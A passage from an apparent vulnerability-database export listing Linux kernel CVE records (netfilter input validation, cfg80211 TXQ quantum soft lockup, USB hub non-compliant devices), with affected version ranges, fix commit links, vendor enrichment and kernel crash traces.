              "versionType": "semver"
            },
            {
              "lessThan": "6.1.87",
              "status": "affected",
              "version": "6.1.85",
              "versionType": "semver"
            },
            {
              "lessThan": "6.6.28",
              "status": "affected",
              "version": "6.6.26",
              "versionType": "semver"
            },
            {
              "lessThan": "6.8.7",
              "status": "affected",
              "version": "6.8.5",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "5.10.215",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.156",
                  "versionStartIncluding": "5.15.154",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.87",
                  "versionStartIncluding": "6.1.85",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.28",
                  "versionStartIncluding": "6.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.7",
                  "versionStartIncluding": "6.8.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: complete validation of user input\n\nIn my recent commit, I missed that do_replace() handlers\nuse copy_from_sockptr() (which I fixed), followed\nby unsafe copy_from_sockptr_offset() calls.\n\nIn all functions, we can perform the @optlen validation\nbefore even calling xt_alloc_table_info() with the following\ncheck:\n\nif ((u64)optlen \u003c (u64)tmp.size + sizeof(tmp))\n        return -EINVAL;"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:14:34.305Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/cf4bc359b76144a3dd55d7c09464ef4c5f2b2b05"
        },
        {
          "url": "https://git.kernel.org/stable/c/97dab36e57c64106e1c8ebd66cbf0d2d1e52d6b7"
        },
        {
          "url": "https://git.kernel.org/stable/c/c760089aa98289b4b88a7ff5a62dd92845adf223"
        },
        {
          "url": "https://git.kernel.org/stable/c/89242d9584c342cb83311b598d9e6b82572eadf8"
        },
        {
          "url": "https://git.kernel.org/stable/c/562b7245131f6e9f1d280c8b5a8750f03edfc05c"
        },
        {
          "url": "https://git.kernel.org/stable/c/65acf6e0501ac8880a4f73980d01b5d27648b956"
        }
      ],
      "title": "netfilter: complete validation of user input",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35962",
    "datePublished": "2024-05-20T09:41:53.207Z",
    "dateReserved": "2024-05-17T13:50:33.137Z",
    "dateUpdated": "2026-05-12T11:53:14.498Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-42114 (GCVE-0-2024-42114)

Vulnerability from cvelistv5 – Published: 2024-07-30 07:46 – Updated: 2026-05-12 11:56

Title

wifi: cfg80211: restrict NL80211_ATTR_TXQ_QUANTUM values

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: restrict NL80211_ATTR_TXQ_QUANTUM values syzbot is able to trigger softlockups, setting NL80211_ATTR_TXQ_QUANTUM to 2^31. We had a similar issue in sch_fq, fixed with commit d9e15a273306 ("pkt_sched: fq: do not accept silly TCA_FQ_QUANTUM") watchdog: BUG: soft lockup - CPU#1 stuck for 26s! [kworker/1:0:24] Modules linked in: irq event stamp: 131135 hardirqs last enabled at (131134): [<ffff80008ae8778c>] __exit_to_kernel_mode arch/arm64/kernel/entry-common.c:85 [inline] hardirqs last enabled at (131134): [<ffff80008ae8778c>] exit_to_kernel_mode+0xdc/0x10c arch/arm64/kernel/entry-common.c:95 hardirqs last disabled at (131135): [<ffff80008ae85378>] __el1_irq arch/arm64/kernel/entry-common.c:533 [inline] hardirqs last disabled at (131135): [<ffff80008ae85378>] el1_interrupt+0x24/0x68 arch/arm64/kernel/entry-common.c:551 softirqs last enabled at (125892): [<ffff80008907e82c>] neigh_hh_init net/core/neighbour.c:1538 [inline] softirqs last enabled at (125892): [<ffff80008907e82c>] neigh_resolve_output+0x268/0x658 net/core/neighbour.c:1553 softirqs last disabled at (125896): [<ffff80008904166c>] local_bh_disable+0x10/0x34 include/linux/bottom_half.h:19 CPU: 1 PID: 24 Comm: kworker/1:0 Not tainted 6.9.0-rc7-syzkaller-gfda5695d692c #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/27/2024 Workqueue: mld mld_ifc_work pstate: 80400005 (Nzcv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : __list_del include/linux/list.h:195 [inline] pc : __list_del_entry include/linux/list.h:218 [inline] pc : list_move_tail include/linux/list.h:310 [inline] pc : fq_tin_dequeue include/net/fq_impl.h:112 [inline] pc : ieee80211_tx_dequeue+0x6b8/0x3b4c net/mac80211/tx.c:3854 lr : __list_del_entry include/linux/list.h:218 [inline] lr : list_move_tail include/linux/list.h:310 [inline] lr : fq_tin_dequeue include/net/fq_impl.h:112 [inline] lr : ieee80211_tx_dequeue+0x67c/0x3b4c net/mac80211/tx.c:3854 sp : ffff800093d36700 x29: ffff800093d36a60 x28: ffff800093d36960 x27: dfff800000000000 x26: ffff0000d800ad50 x25: ffff0000d800abe0 x24: ffff0000d800abf0 x23: ffff0000e0032468 x22: ffff0000e00324d4 x21: ffff0000d800abf0 x20: ffff0000d800abf8 x19: ffff0000d800abf0 x18: ffff800093d363c0 x17: 000000000000d476 x16: ffff8000805519dc x15: ffff7000127a6cc8 x14: 1ffff000127a6cc8 x13: 0000000000000004 x12: ffffffffffffffff x11: ffff7000127a6cc8 x10: 0000000000ff0100 x9 : 0000000000000000 x8 : 0000000000000000 x7 : 0000000000000000 x6 : 0000000000000000 x5 : ffff80009287aa08 x4 : 0000000000000008 x3 : ffff80008034c7fc x2 : ffff0000e0032468 x1 : 00000000da0e46b8 x0 : ffff0000e0032470 Call trace: __list_del include/linux/list.h:195 [inline] __list_del_entry include/linux/list.h:218 [inline] list_move_tail include/linux/list.h:310 [inline] fq_tin_dequeue include/net/fq_impl.h:112 [inline] ieee80211_tx_dequeue+0x6b8/0x3b4c net/mac80211/tx.c:3854 wake_tx_push_queue net/mac80211/util.c:294 [inline] ieee80211_handle_wake_tx_queue+0x118/0x274 net/mac80211/util.c:315 drv_wake_tx_queue net/mac80211/driver-ops.h:1350 [inline] schedule_and_wake_txq net/mac80211/driver-ops.h:1357 [inline] ieee80211_queue_skb+0x18e8/0x2244 net/mac80211/tx.c:1664 ieee80211_tx+0x260/0x400 net/mac80211/tx.c:1966 ieee80211_xmit+0x278/0x354 net/mac80211/tx.c:2062 __ieee80211_subif_start_xmit+0xab8/0x122c net/mac80211/tx.c:4338 ieee80211_subif_start_xmit+0xe0/0x438 net/mac80211/tx.c:4532 __netdev_start_xmit include/linux/netdevice.h:4903 [inline] netdev_start_xmit include/linux/netdevice.h:4917 [inline] xmit_one net/core/dev.c:3531 [inline] dev_hard_start_xmit+0x27c/0x938 net/core/dev.c:3547 __dev_queue_xmit+0x1678/0x33fc net/core/dev.c:4341 dev_queue_xmit include/linux/netdevice.h:3091 [inline] neigh_resolve_output+0x558/0x658 net/core/neighbour.c:1563 neigh_output include/net/neighbour.h:542 [inline] ip6_fini ---truncated---

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/80ac0cc9c0bef984e…
https://git.kernel.org/stable/c/33ac5a4eb3d4bea21…
https://git.kernel.org/stable/c/3fc06f6d142d28407…
https://git.kernel.org/stable/c/8a3ac7fb36962c346…
https://git.kernel.org/stable/c/e87c2f098f52aa2fe…
https://git.kernel.org/stable/c/d1cba2ea8121e7fdb…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 52539ca89f365d3db530535fbffa88a3cca4d2ec , < 80ac0cc9c0bef984e29637b1efa93d7214b42f53 (git) Affected: 52539ca89f365d3db530535fbffa88a3cca4d2ec , < 33ac5a4eb3d4bea2146658f1b6d1fa86d62d2b22 (git) Affected: 52539ca89f365d3db530535fbffa88a3cca4d2ec , < 3fc06f6d142d2840735543216a60d0a8c345bdec (git) Affected: 52539ca89f365d3db530535fbffa88a3cca4d2ec , < 8a3ac7fb36962c34698f884bd697938054ff2afa (git) Affected: 52539ca89f365d3db530535fbffa88a3cca4d2ec , < e87c2f098f52aa2fe20258a5bb1738d6a74e9ed7 (git) Affected: 52539ca89f365d3db530535fbffa88a3cca4d2ec , < d1cba2ea8121e7fdbe1328cea782876b1dd80993 (git)
Linux	Linux	Affected: 4.18 Unaffected: 0 , < 4.18 (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.106 , ≤ 6.1.* (semver) Unaffected: 6.6.47 , ≤ 6.6.* (semver) Unaffected: 6.9.9 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:01:48.519Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e87c2f098f52aa2fe20258a5bb1738d6a74e9ed7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d1cba2ea8121e7fdbe1328cea782876b1dd80993"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-42114",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:17:20.245237Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:06.151Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:39.712Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/wireless/nl80211.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "80ac0cc9c0bef984e29637b1efa93d7214b42f53",
              "status": "affected",
              "version": "52539ca89f365d3db530535fbffa88a3cca4d2ec",
              "versionType": "git"
            },
            {
              "lessThan": "33ac5a4eb3d4bea2146658f1b6d1fa86d62d2b22",
              "status": "affected",
              "version": "52539ca89f365d3db530535fbffa88a3cca4d2ec",
              "versionType": "git"
            },
            {
              "lessThan": "3fc06f6d142d2840735543216a60d0a8c345bdec",
              "status": "affected",
              "version": "52539ca89f365d3db530535fbffa88a3cca4d2ec",
              "versionType": "git"
            },
            {
              "lessThan": "8a3ac7fb36962c34698f884bd697938054ff2afa",
              "status": "affected",
              "version": "52539ca89f365d3db530535fbffa88a3cca4d2ec",
              "versionType": "git"
            },
            {
              "lessThan": "e87c2f098f52aa2fe20258a5bb1738d6a74e9ed7",
              "status": "affected",
              "version": "52539ca89f365d3db530535fbffa88a3cca4d2ec",
              "versionType": "git"
            },
            {
              "lessThan": "d1cba2ea8121e7fdbe1328cea782876b1dd80993",
              "status": "affected",
              "version": "52539ca89f365d3db530535fbffa88a3cca4d2ec",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/wireless/nl80211.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.18"
            },
            {
              "lessThan": "4.18",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.106",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.47",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.9",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.106",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.47",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.9",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: cfg80211: restrict NL80211_ATTR_TXQ_QUANTUM values\n\nsyzbot is able to trigger softlockups, setting NL80211_ATTR_TXQ_QUANTUM\nto 2^31.\n\nWe had a similar issue in sch_fq, fixed with commit\nd9e15a273306 (\"pkt_sched: fq: do not accept silly TCA_FQ_QUANTUM\")\n\nwatchdog: BUG: soft lockup - CPU#1 stuck for 26s! [kworker/1:0:24]\nModules linked in:\nirq event stamp: 131135\n hardirqs last  enabled at (131134): [\u003cffff80008ae8778c\u003e] __exit_to_kernel_mode arch/arm64/kernel/entry-common.c:85 [inline]\n hardirqs last  enabled at (131134): [\u003cffff80008ae8778c\u003e] exit_to_kernel_mode+0xdc/0x10c arch/arm64/kernel/entry-common.c:95\n hardirqs last disabled at (131135): [\u003cffff80008ae85378\u003e] __el1_irq arch/arm64/kernel/entry-common.c:533 [inline]\n hardirqs last disabled at (131135): [\u003cffff80008ae85378\u003e] el1_interrupt+0x24/0x68 arch/arm64/kernel/entry-common.c:551\n softirqs last  enabled at (125892): [\u003cffff80008907e82c\u003e] neigh_hh_init net/core/neighbour.c:1538 [inline]\n softirqs last  enabled at (125892): [\u003cffff80008907e82c\u003e] neigh_resolve_output+0x268/0x658 net/core/neighbour.c:1553\n softirqs last disabled at (125896): [\u003cffff80008904166c\u003e] local_bh_disable+0x10/0x34 include/linux/bottom_half.h:19\nCPU: 1 PID: 24 Comm: kworker/1:0 Not tainted 6.9.0-rc7-syzkaller-gfda5695d692c #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/27/2024\nWorkqueue: mld mld_ifc_work\npstate: 80400005 (Nzcv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n pc : __list_del include/linux/list.h:195 [inline]\n pc : __list_del_entry include/linux/list.h:218 [inline]\n pc : list_move_tail include/linux/list.h:310 [inline]\n pc : fq_tin_dequeue include/net/fq_impl.h:112 [inline]\n pc : ieee80211_tx_dequeue+0x6b8/0x3b4c net/mac80211/tx.c:3854\n lr : __list_del_entry include/linux/list.h:218 [inline]\n lr : list_move_tail include/linux/list.h:310 [inline]\n lr : fq_tin_dequeue include/net/fq_impl.h:112 [inline]\n lr : ieee80211_tx_dequeue+0x67c/0x3b4c net/mac80211/tx.c:3854\nsp : ffff800093d36700\nx29: ffff800093d36a60 x28: ffff800093d36960 x27: dfff800000000000\nx26: ffff0000d800ad50 x25: ffff0000d800abe0 x24: ffff0000d800abf0\nx23: ffff0000e0032468 x22: ffff0000e00324d4 x21: ffff0000d800abf0\nx20: ffff0000d800abf8 x19: ffff0000d800abf0 x18: ffff800093d363c0\nx17: 000000000000d476 x16: ffff8000805519dc x15: ffff7000127a6cc8\nx14: 1ffff000127a6cc8 x13: 0000000000000004 x12: ffffffffffffffff\nx11: ffff7000127a6cc8 x10: 0000000000ff0100 x9 : 0000000000000000\nx8 : 0000000000000000 x7 : 0000000000000000 x6 : 0000000000000000\nx5 : ffff80009287aa08 x4 : 0000000000000008 x3 : ffff80008034c7fc\nx2 : ffff0000e0032468 x1 : 00000000da0e46b8 x0 : ffff0000e0032470\nCall trace:\n  __list_del include/linux/list.h:195 [inline]\n  __list_del_entry include/linux/list.h:218 [inline]\n  list_move_tail include/linux/list.h:310 [inline]\n  fq_tin_dequeue include/net/fq_impl.h:112 [inline]\n  ieee80211_tx_dequeue+0x6b8/0x3b4c net/mac80211/tx.c:3854\n  wake_tx_push_queue net/mac80211/util.c:294 [inline]\n  ieee80211_handle_wake_tx_queue+0x118/0x274 net/mac80211/util.c:315\n  drv_wake_tx_queue net/mac80211/driver-ops.h:1350 [inline]\n  schedule_and_wake_txq net/mac80211/driver-ops.h:1357 [inline]\n  ieee80211_queue_skb+0x18e8/0x2244 net/mac80211/tx.c:1664\n  ieee80211_tx+0x260/0x400 net/mac80211/tx.c:1966\n  ieee80211_xmit+0x278/0x354 net/mac80211/tx.c:2062\n  __ieee80211_subif_start_xmit+0xab8/0x122c net/mac80211/tx.c:4338\n  ieee80211_subif_start_xmit+0xe0/0x438 net/mac80211/tx.c:4532\n  __netdev_start_xmit include/linux/netdevice.h:4903 [inline]\n  netdev_start_xmit include/linux/netdevice.h:4917 [inline]\n  xmit_one net/core/dev.c:3531 [inline]\n  dev_hard_start_xmit+0x27c/0x938 net/core/dev.c:3547\n  __dev_queue_xmit+0x1678/0x33fc net/core/dev.c:4341\n  dev_queue_xmit include/linux/netdevice.h:3091 [inline]\n  neigh_resolve_output+0x558/0x658 net/core/neighbour.c:1563\n  neigh_output include/net/neighbour.h:542 [inline]\n  ip6_fini\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:27:16.685Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/80ac0cc9c0bef984e29637b1efa93d7214b42f53"
        },
        {
          "url": "https://git.kernel.org/stable/c/33ac5a4eb3d4bea2146658f1b6d1fa86d62d2b22"
        },
        {
          "url": "https://git.kernel.org/stable/c/3fc06f6d142d2840735543216a60d0a8c345bdec"
        },
        {
          "url": "https://git.kernel.org/stable/c/8a3ac7fb36962c34698f884bd697938054ff2afa"
        },
        {
          "url": "https://git.kernel.org/stable/c/e87c2f098f52aa2fe20258a5bb1738d6a74e9ed7"
        },
        {
          "url": "https://git.kernel.org/stable/c/d1cba2ea8121e7fdbe1328cea782876b1dd80993"
        }
      ],
      "title": "wifi: cfg80211: restrict NL80211_ATTR_TXQ_QUANTUM values",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-42114",
    "datePublished": "2024-07-30T07:46:07.596Z",
    "dateReserved": "2024-07-29T15:50:41.178Z",
    "dateUpdated": "2026-05-12T11:56:39.712Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21776 (GCVE-0-2025-21776)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:18 – Updated: 2026-05-12 12:03

Title

USB: hub: Ignore non-compliant devices with too many configs or interfaces

Summary

In the Linux kernel, the following vulnerability has been resolved: USB: hub: Ignore non-compliant devices with too many configs or interfaces Robert Morris created a test program which can cause usb_hub_to_struct_hub() to dereference a NULL or inappropriate pointer: Oops: general protection fault, probably for non-canonical address 0xcccccccccccccccc: 0000 [#1] SMP DEBUG_PAGEALLOC PTI CPU: 7 UID: 0 PID: 117 Comm: kworker/7:1 Not tainted 6.13.0-rc3-00017-gf44d154d6e3d #14 Hardware name: FreeBSD BHYVE/BHYVE, BIOS 14.0 10/17/2021 Workqueue: usb_hub_wq hub_event RIP: 0010:usb_hub_adjust_deviceremovable+0x78/0x110 ... Call Trace: <TASK> ? die_addr+0x31/0x80 ? exc_general_protection+0x1b4/0x3c0 ? asm_exc_general_protection+0x26/0x30 ? usb_hub_adjust_deviceremovable+0x78/0x110 hub_probe+0x7c7/0xab0 usb_probe_interface+0x14b/0x350 really_probe+0xd0/0x2d0 ? __pfx___device_attach_driver+0x10/0x10 __driver_probe_device+0x6e/0x110 driver_probe_device+0x1a/0x90 __device_attach_driver+0x7e/0xc0 bus_for_each_drv+0x7f/0xd0 __device_attach+0xaa/0x1a0 bus_probe_device+0x8b/0xa0 device_add+0x62e/0x810 usb_set_configuration+0x65d/0x990 usb_generic_driver_probe+0x4b/0x70 usb_probe_device+0x36/0xd0 The cause of this error is that the device has two interfaces, and the hub driver binds to interface 1 instead of interface 0, which is where usb_hub_to_struct_hub() looks. We can prevent the problem from occurring by refusing to accept hub devices that violate the USB spec by having more than one configuration or interface.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/49f077106fa07919a…
https://git.kernel.org/stable/c/d343fe0fad5c1d689…
https://git.kernel.org/stable/c/d3a67adb365cdfdac…
https://git.kernel.org/stable/c/c3720b04df84b5459…
https://git.kernel.org/stable/c/e905a0fca7bff0855…
https://git.kernel.org/stable/c/62d8f4c5454dd39ad…
https://git.kernel.org/stable/c/5b9778e1fe7157009…
https://git.kernel.org/stable/c/2240fed37afbcdb5e…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: d2123fd9e1a56b8006986ed37e0aaf93ef0dd978 , < 49f077106fa07919a6a6dda99bb490dd1d1a8218 (git) Affected: d2123fd9e1a56b8006986ed37e0aaf93ef0dd978 , < d343fe0fad5c1d689775f2dda24a85ce98e29566 (git) Affected: d2123fd9e1a56b8006986ed37e0aaf93ef0dd978 , < d3a67adb365cdfdac4620daf38a82e57ca45806c (git) Affected: d2123fd9e1a56b8006986ed37e0aaf93ef0dd978 , < c3720b04df84b5459050ae4e03ec7d545652f897 (git) Affected: d2123fd9e1a56b8006986ed37e0aaf93ef0dd978 , < e905a0fca7bff0855d312c16f71e60e1773b393e (git) Affected: d2123fd9e1a56b8006986ed37e0aaf93ef0dd978 , < 62d8f4c5454dd39aded4f343720d1c5a1803cfef (git) Affected: d2123fd9e1a56b8006986ed37e0aaf93ef0dd978 , < 5b9778e1fe715700993ce436c152dc3b7df0b490 (git) Affected: d2123fd9e1a56b8006986ed37e0aaf93ef0dd978 , < 2240fed37afbcdb5e8b627bc7ad986891100e05d (git)
Linux	Linux	Affected: 3.9 Unaffected: 0 , < 3.9 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.79 , ≤ 6.6.* (semver) Unaffected: 6.12.16 , ≤ 6.12.* (semver) Unaffected: 6.13.4 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:37:31.434Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - BIOS",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:52.412Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-503939.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/core/hub.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "49f077106fa07919a6a6dda99bb490dd1d1a8218",
              "status": "affected",
              "version": "d2123fd9e1a56b8006986ed37e0aaf93ef0dd978",
              "versionType": "git"
            },
            {
              "lessThan": "d343fe0fad5c1d689775f2dda24a85ce98e29566",
              "status": "affected",
              "version": "d2123fd9e1a56b8006986ed37e0aaf93ef0dd978",
              "versionType": "git"
            },
            {
              "lessThan": "d3a67adb365cdfdac4620daf38a82e57ca45806c",
              "status": "affected",
              "version": "d2123fd9e1a56b8006986ed37e0aaf93ef0dd978",
              "versionType": "git"
            },
            {
              "lessThan": "c3720b04df84b5459050ae4e03ec7d545652f897",
              "status": "affected",
              "version": "d2123fd9e1a56b8006986ed37e0aaf93ef0dd978",
              "versionType": "git"
            },
            {
              "lessThan": "e905a0fca7bff0855d312c16f71e60e1773b393e",
              "status": "affected",
              "version": "d2123fd9e1a56b8006986ed37e0aaf93ef0dd978",
              "versionType": "git"
            },
            {
              "lessThan": "62d8f4c5454dd39aded4f343720d1c5a1803cfef",
              "status": "affected",
              "version": "d2123fd9e1a56b8006986ed37e0aaf93ef0dd978",
              "versionType": "git"
            },
            {
              "lessThan": "5b9778e1fe715700993ce436c152dc3b7df0b490",
              "status": "affected",
              "version": "d2123fd9e1a56b8006986ed37e0aaf93ef0dd978",
              "versionType": "git"
            },
            {
              "lessThan": "2240fed37afbcdb5e8b627bc7ad986891100e05d",
              "status": "affected",
              "version": "d2123fd9e1a56b8006986ed37e0aaf93ef0dd978",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/core/hub.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.9"
            },
            {
              "lessThan": "3.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.79",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.16",
              "versionType": "semver"
            },
            {
